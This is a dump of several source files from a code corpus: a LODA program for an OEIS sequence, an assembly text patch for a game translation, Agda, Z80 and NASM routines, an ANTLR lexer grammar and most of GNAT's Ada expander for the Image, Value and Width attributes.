max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
programs/oeis/135/A135214.asm | jmorken/loda | 1 | 169065 | ; A135214: a(1)=1, a(n) = a(n-1) + n^5 if n odd, a(n) = a(n-1) + n^4 if n is even.
; 1,17,260,516,3641,4937,21744,25840,84889,94889,255940,276676,647969,686385,1445760,1511296,2931153,3036129,5512228,5672228,9756329,9990585,16426928,16758704,26524329,26981305,41330212,41944868,62456017,63266017,91895168,92943744,132079137,133415473,185937348,187616964,256960921,259046057,349270256,351830256,467686457,470798153,617806596,621554692,806082817,810560273,1039905280,1045213696,1327688945,1333938945,1678964196,1686275812,2104471305,2112974361,2616258736,2626093232,3227785289,3239101785,3954026084,3966986084,4811582385,4826358721,5818795264,5835572480,6995863105,7014837841,8364962948,8386344324,9950375673,9974385673,11778615024,11805488880,13878560473,13908547049,16281593924,16314956100,19021740257,19058755313,22135811712,22176771712,25663556113,25708768289,29647808932,29697596068,34134649193,34189350009,39173559216,39233528752,44817588201,44883198201,51123519652,51195158948,58152042641,58230117537,65967926912,66052861568,74640201825,74732438641,84242339140,84342339140,94852439641,94960682857,106553423600,106670409456,119433225081,119559472777,133584990084,133721038980,149107278529,149253688529,166104270080,166261622016,184685973809,184854869825,204968441700,205149505636,227073985993,227267863769,251131400368,251338760368,277276184969,277497718425,305650775268,305887196644,336404774769,336656822145,369695191552,369963627008,405686678657,405972288657,444551778308,444855374084,486471169977,486793587913,531633922288,531976024304,580237748761,580600422697,632489267396,632873427396,688604264097,689010850993,748807959936,749237941632,813335282257,813789654113,882431139620,882910924836,956350700585,956856950585,1035359676336,1035893471152,1119734607145,1120297055801,1209763152676,1210355393572,1305744386129,1306367587425,1407989092224,1408644452224,1516820069025,1517508816561,1632572433604,1633295828420,1755593931545,1756353264681,1886245250288,1887041844464,2024900336313,2025735546313,2171946716164,2172821929220,2327785821313,2328702457489,2492833316864,2493792829440,2667519434097,2668523309953,2852289306852,2853339066852,3047603311753,3048700511129,3253937412272,3255083641008,3471783506633,3472980389849,3701649779556,3702898977892,3944061057841,3945364267841,4199559169792,4200918124288,4468703308481,4470119776977,4752070398852,4753546187908,5050255468665,5051792422281,5363872023280,5365472023280,5693552424281,5695217390697,6039948271940,6041680163396,6403730791521,6405531605617,6785591223424,6787462997120,7186241217169,7188186027169,7606413229220,7608433192356,8046860924649,8048958198265,8508359582640,8510536364976,8991706505833,8993965036409,9497721433508,9500063993508,10027246958609,10029675871265,10581148948608,10583666579584,11160316970209,11162925727985,11765664717892,11768367054148,12398130446297,12400928856297,13058677406448,13061574429424,13748294285817,13751292505353,14467995652228,14471097696644,15218822401601,15222030944337,16001842209536,16005159969536,16818149986737,16821579728833,17668868338276,17672412873572,18555148026697,18558810212953,19478168438960,19481951180976,20439138057225,20443044307225
mov $3,$0
add $3,1
mov $4,$0
lpb $3
mov $0,$4
sub $3,1
sub $0,$3
mov $2,5
mov $5,$0
mod $0,2
sub $2,$0
mul $5,3
add $5,3
div $5,3
pow $5,$2
mov $2,1679616
add $5,8
add $2,$5
mov $6,$2
sub $6,1679624
add $1,$6
lpe
|
games/HomeLand/Names/Monsters.asm | BttrDrgn/GC-Translation | 1 | 14970 | <reponame>BttrDrgn/GC-Translation
Text($43B45A44, "Mill")
Text($43CF8B04, "Mill")
Text($49B5C758, "Mill")
Text($49B5C758, "Mill")
Text($43B45A8C, "Amyl") ; fill 4
Text($43CF8B4C, "Amyl") ; fill 4
Text($49B5C7A0, "Amyl") ; fill 4
|
Data/Fin/Sigma.agda | oisdk/agda-playground | 6 | 2954 | <filename>Data/Fin/Sigma.agda
module Data.Fin.Sigma where
open import Prelude
open import Data.Nat
open import Data.Nat.Properties
Fin : ℕ → Type
Fin n = ∃ m × (m < n)
open import Data.List
_!!_ : (xs : List A) → Fin (length xs) → A
(x ∷ xs) !! (zero , p) = x
(x ∷ xs) !! (suc n , p) = xs !! (n , p)
|
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_erase_range.asm | meesokim/z88dk | 0 | 83005 | <reponame>meesokim/z88dk<gh_stars>0
; size_t b_array_erase_range(b_array_t *a, size_t idx_first, size_t idx_last)
SECTION code_adt_b_array
PUBLIC _b_array_erase_range
EXTERN asm_b_array_erase_range
_b_array_erase_range:
pop af
pop de
pop bc
pop hl
push hl
push bc
push de
push af
jp asm_b_array_erase_range
|
AlphaScanner.g4 | Baxi19/Alpha | 4 | 3345 | <filename>AlphaScanner.g4<gh_stars>1-10
//--------------------------------------------------------------
lexer grammar AlphaScanner;
//--------------------------------------------------------------
// Symbols
PyCOMMA : ';' ;
TWO_P : ':' ;
L_PARENT : '(' ;
R_PARENT : ')' ;
VIR : '~' ; //para asignacion de const
//--------------------------------------------------------------
//Operators
ASSING : ':=' ;
SUM : '+' ;
SUB : '-' ;
MUL : '*' ;
DIV : '/' ;
//Added
NOT_EQUAL : '/=' ;
GT : '>';
LT : '<';
LE : '<=';
GE : '>=';
EQUAL : '==';
//--------------------------------------------------------------
//Reserved Keywords
IF : 'if' ;
THEN : 'then' ;
ELSE : 'else' ;
WHILE : 'while' ;
DO : 'do' ;
LET : 'let' ;
IN : 'in' ;
BEGIN : 'begin' ;
END : 'end' ;
CONST : 'const' ;
VAR : 'var' ;
//--------------------------------------------------------------
// Letter
IDENT : LETTER(LETTER|DIGIT)*;
LITERAL
: DIGIT DIGIT*
;
fragment LETTER
: [a-zA-Z]
;
fragment DIGIT
: [0-9]
;
//--------------------------------------------------------------
// skiped words
WS : [ \r\t\n]+ -> skip ;
BLOCK_COMMENT : '/*' .*? '*/' -> skip;
COMMENT : '//' ~[\r\n]* '\r'? '\n' -> skip ; |
src/gdt.asm | cadri20/SimpleKernel | 0 | 90092 | global load_gdt
gdt:
gdt_null:
dq 0
gdt_code:
dw 0FFFFh
dw 0
db 0
db 10011010b
db 11001111b
db 0
gdt_data:
dw 0FFFFh
dw 0
db 0
db 10010010b
db 11001111b
db 0
gdt_end:
gdt_desc:
dw gdt_end - gdt - 1
dd gdt
load_gdt:
lgdt [gdt_desc]
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
jmp 0x08:flush
flush:
retn
|
llvm-gcc-4.2-2.9/gcc/ada/exp_imgv.adb | vidkidz/crossbridge | 1 | 1872 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- E X P _ I M G V --
-- --
-- B o d y --
-- --
-- Copyright (C) 2001-2005, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Atree; use Atree;
with Casing; use Casing;
with Checks; use Checks;
with Einfo; use Einfo;
with Exp_Util; use Exp_Util;
with Namet; use Namet;
with Nmake; use Nmake;
with Nlists; use Nlists;
with Opt; use Opt;
with Rtsfind; use Rtsfind;
with Sem_Res; use Sem_Res;
with Sinfo; use Sinfo;
with Snames; use Snames;
with Stand; use Stand;
with Stringt; use Stringt;
with Tbuild; use Tbuild;
with Ttypes; use Ttypes;
with Uintp; use Uintp;
package body Exp_Imgv is
------------------------------------
-- Build_Enumeration_Image_Tables --
------------------------------------
procedure Build_Enumeration_Image_Tables (E : Entity_Id; N : Node_Id) is
Loc : constant Source_Ptr := Sloc (E);
Str : String_Id;
Ind : List_Id;
Lit : Entity_Id;
Nlit : Nat;
Len : Nat;
Estr : Entity_Id;
Eind : Entity_Id;
Ityp : Node_Id;
begin
-- Nothing to do for other than a root enumeration type
if E /= Root_Type (E) then
return;
-- Nothing to do if pragma Discard_Names applies
elsif Discard_Names (E) then
return;
end if;
-- Otherwise tables need constructing
Start_String;
Ind := New_List;
Lit := First_Literal (E);
Len := 1;
Nlit := 0;
loop
Append_To (Ind,
Make_Integer_Literal (Loc, UI_From_Int (Len)));
exit when No (Lit);
Nlit := Nlit + 1;
Get_Unqualified_Decoded_Name_String (Chars (Lit));
if Name_Buffer (1) /= ''' then
Set_Casing (All_Upper_Case);
end if;
Store_String_Chars (Name_Buffer (1 .. Name_Len));
Len := Len + Int (Name_Len);
Next_Literal (Lit);
end loop;
if Len < Int (2 ** (8 - 1)) then
Ityp := Standard_Integer_8;
elsif Len < Int (2 ** (16 - 1)) then
Ityp := Standard_Integer_16;
else
Ityp := Standard_Integer_32;
end if;
Str := End_String;
Estr :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Chars (E), 'S'));
Eind :=
Make_Defining_Identifier (Loc,
Chars => New_External_Name (Chars (E), 'N'));
Set_Lit_Strings (E, Estr);
Set_Lit_Indexes (E, Eind);
Insert_Actions (N,
New_List (
Make_Object_Declaration (Loc,
Defining_Identifier => Estr,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (Standard_String, Loc),
Expression =>
Make_String_Literal (Loc,
Strval => Str)),
Make_Object_Declaration (Loc,
Defining_Identifier => Eind,
Constant_Present => True,
Object_Definition =>
Make_Constrained_Array_Definition (Loc,
Discrete_Subtype_Definitions => New_List (
Make_Range (Loc,
Low_Bound => Make_Integer_Literal (Loc, 0),
High_Bound => Make_Integer_Literal (Loc, Nlit))),
Component_Definition =>
Make_Component_Definition (Loc,
Aliased_Present => False,
Subtype_Indication => New_Occurrence_Of (Ityp, Loc))),
Expression =>
Make_Aggregate (Loc,
Expressions => Ind))),
Suppress => All_Checks);
end Build_Enumeration_Image_Tables;
----------------------------
-- Expand_Image_Attribute --
----------------------------
-- For all non-enumeration types, and for enumeration types declared
-- in packages Standard or System, typ'Image (Val) expands into:
-- Image_xx (tp (Expr) [, pm])
-- The name xx and type conversion tp (Expr) (called tv below) depend on
-- the root type of Expr. The argument pm is an extra type dependent
-- parameter only used in some cases as follows:
-- For types whose root type is Character
-- xx = Character
-- tv = Character (Expr)
-- For types whose root type is Boolean
-- xx = Boolean
-- tv = Boolean (Expr)
-- For signed integer types with size <= Integer'Size
-- xx = Integer
-- tv = Integer (Expr)
-- For other signed integer types
-- xx = Long_Long_Integer
-- tv = Long_Long_Integer (Expr)
-- For modular types with modulus <= System.Unsigned_Types.Unsigned
-- xx = Unsigned
-- tv = System.Unsigned_Types.Unsigned (Expr)
-- For other modular integer types
-- xx = Long_Long_Unsigned
-- tv = System.Unsigned_Types.Long_Long_Unsigned (Expr)
-- For types whose root type is Wide_Character
-- xx = Wide_Character
-- tv = Wide_Character (Expr)
-- pm = Boolean, true if Ada 2005 mode, False otherwise
-- For types whose root type is Wide_Wide_Character
-- xx = Wide_Wide_haracter
-- tv = Wide_Wide_Character (Expr)
-- For floating-point types
-- xx = Floating_Point
-- tv = Long_Long_Float (Expr)
-- pm = typ'Digits
-- For ordinary fixed-point types
-- xx = Ordinary_Fixed_Point
-- tv = Long_Long_Float (Expr)
-- pm = typ'Aft
-- For decimal fixed-point types with size = Integer'Size
-- xx = Decimal
-- tv = Integer (Expr)
-- pm = typ'Scale
-- For decimal fixed-point types with size > Integer'Size
-- xx = Long_Long_Decimal
-- tv = Long_Long_Integer (Expr)
-- pm = typ'Scale
-- Note: for the decimal fixed-point type cases, the conversion is
-- done literally without scaling (i.e. the actual expression that
-- is generated is Image_xx (tp?(Expr) [, pm])
-- For enumeration types other than those declared packages Standard
-- or System, typ'Image (X) expands into:
-- Image_Enumeration_NN (typ'Pos (X), typS, typI'Address)
-- where typS and typI are the entities constructed as described in
-- the spec for the procedure Build_Enumeration_Image_Tables and NN
-- is 32/16/8 depending on the element type of Lit_Indexes.
procedure Expand_Image_Attribute (N : Node_Id) is
Loc : constant Source_Ptr := Sloc (N);
Exprs : constant List_Id := Expressions (N);
Pref : constant Node_Id := Prefix (N);
Ptyp : constant Entity_Id := Entity (Pref);
Rtyp : constant Entity_Id := Root_Type (Ptyp);
Expr : constant Node_Id := Relocate_Node (First (Exprs));
Imid : RE_Id;
Tent : Entity_Id;
Arglist : List_Id;
Func : RE_Id;
Ttyp : Entity_Id;
Func_Ent : Entity_Id;
begin
if Rtyp = Standard_Boolean then
Imid := RE_Image_Boolean;
Tent := Rtyp;
elsif Rtyp = Standard_Character then
Imid := RE_Image_Character;
Tent := Rtyp;
elsif Rtyp = Standard_Wide_Character then
Imid := RE_Image_Wide_Character;
Tent := Rtyp;
elsif Rtyp = Standard_Wide_Wide_Character then
Imid := RE_Image_Wide_Wide_Character;
Tent := Rtyp;
elsif Is_Signed_Integer_Type (Rtyp) then
if Esize (Rtyp) <= Esize (Standard_Integer) then
Imid := RE_Image_Integer;
Tent := Standard_Integer;
else
Imid := RE_Image_Long_Long_Integer;
Tent := Standard_Long_Long_Integer;
end if;
elsif Is_Modular_Integer_Type (Rtyp) then
if Modulus (Rtyp) <= Modulus (RTE (RE_Unsigned)) then
Imid := RE_Image_Unsigned;
Tent := RTE (RE_Unsigned);
else
Imid := RE_Image_Long_Long_Unsigned;
Tent := RTE (RE_Long_Long_Unsigned);
end if;
elsif Is_Decimal_Fixed_Point_Type (Rtyp) then
if UI_To_Int (Esize (Rtyp)) <= Standard_Integer_Size then
Imid := RE_Image_Decimal;
Tent := Standard_Integer;
else
Imid := RE_Image_Long_Long_Decimal;
Tent := Standard_Long_Long_Integer;
end if;
elsif Is_Ordinary_Fixed_Point_Type (Rtyp) then
Imid := RE_Image_Ordinary_Fixed_Point;
Tent := Standard_Long_Long_Float;
elsif Is_Floating_Point_Type (Rtyp) then
Imid := RE_Image_Floating_Point;
Tent := Standard_Long_Long_Float;
-- Only other possibility is user defined enumeration type
else
if Discard_Names (First_Subtype (Ptyp))
or else No (Lit_Strings (Root_Type (Ptyp)))
then
-- When pragma Discard_Names applies to the first subtype,
-- then build (Pref'Pos)'Img.
Rewrite (N,
Make_Attribute_Reference (Loc,
Prefix =>
Make_Attribute_Reference (Loc,
Prefix => Pref,
Attribute_Name => Name_Pos,
Expressions => New_List (Expr)),
Attribute_Name =>
Name_Img));
Analyze_And_Resolve (N, Standard_String);
else
-- Here we get the Image of an enumeration type
Ttyp := Component_Type (Etype (Lit_Indexes (Rtyp)));
if Ttyp = Standard_Integer_8 then
Func := RE_Image_Enumeration_8;
elsif Ttyp = Standard_Integer_16 then
Func := RE_Image_Enumeration_16;
else
Func := RE_Image_Enumeration_32;
end if;
-- Apply a validity check, since it is a bit drastic to
-- get a completely junk image value for an invalid value.
if not Expr_Known_Valid (Expr) then
Insert_Valid_Check (Expr);
end if;
Rewrite (N,
Make_Function_Call (Loc,
Name => New_Occurrence_Of (RTE (Func), Loc),
Parameter_Associations => New_List (
Make_Attribute_Reference (Loc,
Attribute_Name => Name_Pos,
Prefix => New_Occurrence_Of (Ptyp, Loc),
Expressions => New_List (Expr)),
New_Occurrence_Of (Lit_Strings (Rtyp), Loc),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Lit_Indexes (Rtyp), Loc),
Attribute_Name => Name_Address))));
Analyze_And_Resolve (N, Standard_String);
end if;
return;
end if;
-- If we fall through, we have one of the cases that is handled by
-- calling one of the System.Img_xx routines and Imid is set to the
-- RE_Id for the function to be called.
Func_Ent := RTE (Imid);
-- If the function entity is empty, that means we have a case in
-- no run time mode where the operation is not allowed, and an
-- appropriate diagnostic has already been issued.
if No (Func_Ent) then
return;
end if;
-- Otherwise prepare arguments for run-time call
Arglist := New_List (Convert_To (Tent, Relocate_Node (Expr)));
-- For floating-point types, append Digits argument
if Is_Floating_Point_Type (Rtyp) then
Append_To (Arglist,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Digits));
-- For ordinary fixed-point types, append Aft parameter
elsif Is_Ordinary_Fixed_Point_Type (Rtyp) then
Append_To (Arglist,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Aft));
-- For decimal, append Scale and also set to do literal conversion
elsif Is_Decimal_Fixed_Point_Type (Rtyp) then
Append_To (Arglist,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Scale));
Set_Conversion_OK (First (Arglist));
Set_Etype (First (Arglist), Tent);
-- For Wide_Character, append Ada 2005 indication
elsif Rtyp = Standard_Wide_Character then
Append_To (Arglist,
New_Reference_To (Boolean_Literals (Ada_Version >= Ada_05), Loc));
end if;
Rewrite (N,
Make_Function_Call (Loc,
Name => New_Reference_To (Func_Ent, Loc),
Parameter_Associations => Arglist));
Analyze_And_Resolve (N, Standard_String);
end Expand_Image_Attribute;
----------------------------
-- Expand_Value_Attribute --
----------------------------
-- For scalar types derived from Boolean, Character and integer types
-- in package Standard, typ'Value (X) expands into:
-- btyp (Value_xx (X))
-- where btyp is he base type of the prefix, and
-- For types whose root type is Character
-- xx = Character
-- For types whose root type is Wide_Character
-- xx = Wide_Character
-- For types whose root type is Wide_Wide_Character
-- xx = Wide_Wide_Character
-- For types whose root type is Boolean
-- xx = Boolean
-- For signed integer types with size <= Integer'Size
-- xx = Integer
-- For other signed integer types
-- xx = Long_Long_Integer
-- For modular types with modulus <= System.Unsigned_Types.Unsigned
-- xx = Unsigned
-- For other modular integer types
-- xx = Long_Long_Unsigned
-- For floating-point types and ordinary fixed-point types
-- xx = Real
-- For decimal types with size <= Integer'Size, typ'Value (X)
-- expands into
-- btyp?(Value_Decimal (X, typ'Scale));
-- For all other decimal types, typ'Value (X) expands into
-- btyp?(Value_Long_Long_Decimal (X, typ'Scale))
-- For enumeration types other than those derived from types Boolean,
-- Character, Wide_[Wide_]Character in Standard, typ'Value (X) expands to:
-- Enum'Val (Value_Enumeration_NN (typS, typI'Address, Num, X))
-- where typS and typI and the Lit_Strings and Lit_Indexes entities
-- from T's root type entitym and Num is Enum'Pos (Enum'Last). The
-- Value_Enumeration_NN function will search the tables looking for
-- X and return the position number in the table if found which is
-- used to provide the result of 'Value (using Enum'Val). If the
-- value is not found Constraint_Error is raised. The suffix _NN
-- depends on the element type of typI.
procedure Expand_Value_Attribute (N : Node_Id) is
Loc : constant Source_Ptr := Sloc (N);
Typ : constant Entity_Id := Etype (N);
Btyp : constant Entity_Id := Base_Type (Typ);
Rtyp : constant Entity_Id := Root_Type (Typ);
Exprs : constant List_Id := Expressions (N);
Vid : RE_Id;
Args : List_Id;
Func : RE_Id;
Ttyp : Entity_Id;
begin
Args := Exprs;
if Rtyp = Standard_Character then
Vid := RE_Value_Character;
elsif Rtyp = Standard_Boolean then
Vid := RE_Value_Boolean;
elsif Rtyp = Standard_Wide_Character then
Vid := RE_Value_Wide_Character;
elsif Rtyp = Standard_Wide_Wide_Character then
Vid := RE_Value_Wide_Wide_Character;
elsif Rtyp = Base_Type (Standard_Short_Short_Integer)
or else Rtyp = Base_Type (Standard_Short_Integer)
or else Rtyp = Base_Type (Standard_Integer)
then
Vid := RE_Value_Integer;
elsif Is_Signed_Integer_Type (Rtyp) then
Vid := RE_Value_Long_Long_Integer;
elsif Is_Modular_Integer_Type (Rtyp) then
if Modulus (Rtyp) <= Modulus (RTE (RE_Unsigned)) then
Vid := RE_Value_Unsigned;
else
Vid := RE_Value_Long_Long_Unsigned;
end if;
elsif Is_Decimal_Fixed_Point_Type (Rtyp) then
if UI_To_Int (Esize (Rtyp)) <= Standard_Integer_Size then
Vid := RE_Value_Decimal;
else
Vid := RE_Value_Long_Long_Decimal;
end if;
Append_To (Args,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Typ, Loc),
Attribute_Name => Name_Scale));
Rewrite (N,
OK_Convert_To (Btyp,
Make_Function_Call (Loc,
Name => New_Reference_To (RTE (Vid), Loc),
Parameter_Associations => Args)));
Set_Etype (N, Btyp);
Analyze_And_Resolve (N, Btyp);
return;
elsif Is_Real_Type (Rtyp) then
Vid := RE_Value_Real;
-- Only other possibility is user defined enumeration type
else
pragma Assert (Is_Enumeration_Type (Rtyp));
-- Case of pragma Discard_Names, transform the Value
-- attribute to Btyp'Val (Long_Long_Integer'Value (Args))
if Discard_Names (First_Subtype (Typ))
or else No (Lit_Strings (Rtyp))
then
Rewrite (N,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Btyp, Loc),
Attribute_Name => Name_Val,
Expressions => New_List (
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (Standard_Long_Long_Integer, Loc),
Attribute_Name => Name_Value,
Expressions => Args))));
Analyze_And_Resolve (N, Btyp);
-- Here for normal case where we have enumeration tables, this
-- is where we build
-- T'Val (Value_Enumeration_NN (typS, typI'Address, Num, X))
else
Ttyp := Component_Type (Etype (Lit_Indexes (Rtyp)));
if Ttyp = Standard_Integer_8 then
Func := RE_Value_Enumeration_8;
elsif Ttyp = Standard_Integer_16 then
Func := RE_Value_Enumeration_16;
else
Func := RE_Value_Enumeration_32;
end if;
Prepend_To (Args,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Rtyp, Loc),
Attribute_Name => Name_Pos,
Expressions => New_List (
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Rtyp, Loc),
Attribute_Name => Name_Last))));
Prepend_To (Args,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Lit_Indexes (Rtyp), Loc),
Attribute_Name => Name_Address));
Prepend_To (Args,
New_Occurrence_Of (Lit_Strings (Rtyp), Loc));
Rewrite (N,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Typ, Loc),
Attribute_Name => Name_Val,
Expressions => New_List (
Make_Function_Call (Loc,
Name =>
New_Reference_To (RTE (Func), Loc),
Parameter_Associations => Args))));
Analyze_And_Resolve (N, Btyp);
end if;
return;
end if;
-- Fall through for all cases except user defined enumeration type
-- and decimal types, with Vid set to the Id of the entity for the
-- Value routine and Args set to the list of parameters for the call.
Rewrite (N,
Convert_To (Btyp,
Make_Function_Call (Loc,
Name => New_Reference_To (RTE (Vid), Loc),
Parameter_Associations => Args)));
Analyze_And_Resolve (N, Btyp);
end Expand_Value_Attribute;
----------------------------
-- Expand_Width_Attribute --
----------------------------
-- The processing here also handles the case of Wide_[Wide_]Width. With the
-- exceptions noted, the processing is identical
-- For scalar types derived from Boolean, character and integer types
-- in package Standard. Note that the Width attribute is computed at
-- compile time for all cases except those involving non-static sub-
-- types. For such subtypes, typ'[Wide_[Wide_]]Width expands into:
-- Result_Type (xx (yy (Ptyp'First), yy (Ptyp'Last)))
-- where
-- For types whose root type is Character
-- xx = Width_Character
-- yy = Character
-- For types whose root type is Wide_Character
-- xx = Wide_Width_Character
-- yy = Character
-- For types whose root type is Wide_Wide_Character
-- xx = Wide_Wide_Width_Character
-- yy = Character
-- For types whose root type is Boolean
-- xx = Width_Boolean
-- yy = Boolean
-- For signed integer types
-- xx = Width_Long_Long_Integer
-- yy = Long_Long_Integer
-- For modular integer types
-- xx = Width_Long_Long_Unsigned
-- yy = Long_Long_Unsigned
-- For types derived from Wide_Character, typ'Width expands into
-- Result_Type (Width_Wide_Character (
-- Wide_Character (typ'First),
-- Wide_Character (typ'Last),
-- and typ'Wide_Width expands into:
-- Result_Type (Wide_Width_Wide_Character (
-- Wide_Character (typ'First),
-- Wide_Character (typ'Last));
-- and typ'Wide_Wide_Width expands into
-- Result_Type (Wide_Wide_Width_Wide_Character (
-- Wide_Character (typ'First),
-- Wide_Character (typ'Last));
-- For types derived from Wide_Wide_Character, typ'Width expands into
-- Result_Type (Width_Wide_Wide_Character (
-- Wide_Wide_Character (typ'First),
-- Wide_Wide_Character (typ'Last),
-- and typ'Wide_Width expands into:
-- Result_Type (Wide_Width_Wide_Wide_Character (
-- Wide_Wide_Character (typ'First),
-- Wide_Wide_Character (typ'Last));
-- and typ'Wide_Wide_Width expands into
-- Result_Type (Wide_Wide_Width_Wide_Wide_Char (
-- Wide_Wide_Character (typ'First),
-- Wide_Wide_Character (typ'Last));
-- For real types, typ'Width and typ'Wide_[Wide_]Width expand into
-- if Ptyp'First > Ptyp'Last then 0 else btyp'Width end if
-- where btyp is the base type. This looks recursive but it isn't
-- because the base type is always static, and hence the expression
-- in the else is reduced to an integer literal.
-- For user defined enumeration types, typ'Width expands into
-- Result_Type (Width_Enumeration_NN
-- (typS,
-- typI'Address,
-- typ'Pos (typ'First),
-- typ'Pos (Typ'Last)));
-- and typ'Wide_Width expands into:
-- Result_Type (Wide_Width_Enumeration_NN
-- (typS,
-- typI,
-- typ'Pos (typ'First),
-- typ'Pos (Typ'Last))
-- Wide_Character_Encoding_Method);
-- and typ'Wide_Wide_Width expands into:
-- Result_Type (Wide_Wide_Width_Enumeration_NN
-- (typS,
-- typI,
-- typ'Pos (typ'First),
-- typ'Pos (Typ'Last))
-- Wide_Character_Encoding_Method);
-- where typS and typI are the enumeration image strings and
-- indexes table, as described in Build_Enumeration_Image_Tables.
-- NN is 8/16/32 for depending on the element type for typI.
procedure Expand_Width_Attribute (N : Node_Id; Attr : Atype := Normal) is
Loc : constant Source_Ptr := Sloc (N);
Typ : constant Entity_Id := Etype (N);
Pref : constant Node_Id := Prefix (N);
Ptyp : constant Entity_Id := Etype (Pref);
Rtyp : constant Entity_Id := Root_Type (Ptyp);
XX : RE_Id;
YY : Entity_Id;
Arglist : List_Id;
Ttyp : Entity_Id;
begin
-- Types derived from Standard.Boolean
if Rtyp = Standard_Boolean then
XX := RE_Width_Boolean;
YY := Rtyp;
-- Types derived from Standard.Character
elsif Rtyp = Standard_Character then
case Attr is
when Normal => XX := RE_Width_Character;
when Wide => XX := RE_Wide_Width_Character;
when Wide_Wide => XX := RE_Wide_Wide_Width_Character;
end case;
YY := Rtyp;
-- Types derived from Standard.Wide_Character
elsif Rtyp = Standard_Wide_Character then
case Attr is
when Normal => XX := RE_Width_Wide_Character;
when Wide => XX := RE_Wide_Width_Wide_Character;
when Wide_Wide => XX := RE_Wide_Wide_Width_Wide_Character;
end case;
YY := Rtyp;
-- Types derived from Standard.Wide_Wide_Character
elsif Rtyp = Standard_Wide_Wide_Character then
case Attr is
when Normal => XX := RE_Width_Wide_Wide_Character;
when Wide => XX := RE_Wide_Width_Wide_Wide_Character;
when Wide_Wide => XX := RE_Wide_Wide_Width_Wide_Wide_Char;
end case;
YY := Rtyp;
-- Signed integer types
elsif Is_Signed_Integer_Type (Rtyp) then
XX := RE_Width_Long_Long_Integer;
YY := Standard_Long_Long_Integer;
-- Modular integer types
elsif Is_Modular_Integer_Type (Rtyp) then
XX := RE_Width_Long_Long_Unsigned;
YY := RTE (RE_Long_Long_Unsigned);
-- Real types
elsif Is_Real_Type (Rtyp) then
Rewrite (N,
Make_Conditional_Expression (Loc,
Expressions => New_List (
Make_Op_Gt (Loc,
Left_Opnd =>
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_First),
Right_Opnd =>
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Last)),
Make_Integer_Literal (Loc, 0),
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Base_Type (Ptyp), Loc),
Attribute_Name => Name_Width))));
Analyze_And_Resolve (N, Typ);
return;
-- User defined enumeration types
else
pragma Assert (Is_Enumeration_Type (Rtyp));
if Discard_Names (Rtyp) then
-- This is a configurable run-time, or else a restriction is in
-- effect. In either case the attribute cannot be supported. Force
-- a load error from Rtsfind to generate an appropriate message,
-- as is done with other ZFP violations.
declare
pragma Warnings (Off); -- since Discard is unreferenced
Discard : constant Entity_Id := RTE (RE_Null);
pragma Warnings (On);
begin
return;
end;
end if;
Ttyp := Component_Type (Etype (Lit_Indexes (Rtyp)));
case Attr is
when Normal =>
if Ttyp = Standard_Integer_8 then
XX := RE_Width_Enumeration_8;
elsif Ttyp = Standard_Integer_16 then
XX := RE_Width_Enumeration_16;
else
XX := RE_Width_Enumeration_32;
end if;
when Wide =>
if Ttyp = Standard_Integer_8 then
XX := RE_Wide_Width_Enumeration_8;
elsif Ttyp = Standard_Integer_16 then
XX := RE_Wide_Width_Enumeration_16;
else
XX := RE_Wide_Width_Enumeration_32;
end if;
when Wide_Wide =>
if Ttyp = Standard_Integer_8 then
XX := RE_Wide_Wide_Width_Enumeration_8;
elsif Ttyp = Standard_Integer_16 then
XX := RE_Wide_Wide_Width_Enumeration_16;
else
XX := RE_Wide_Wide_Width_Enumeration_32;
end if;
end case;
Arglist :=
New_List (
New_Occurrence_Of (Lit_Strings (Rtyp), Loc),
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Lit_Indexes (Rtyp), Loc),
Attribute_Name => Name_Address),
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Pos,
Expressions => New_List (
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_First))),
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Pos,
Expressions => New_List (
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Last))));
Rewrite (N,
Convert_To (Typ,
Make_Function_Call (Loc,
Name => New_Reference_To (RTE (XX), Loc),
Parameter_Associations => Arglist)));
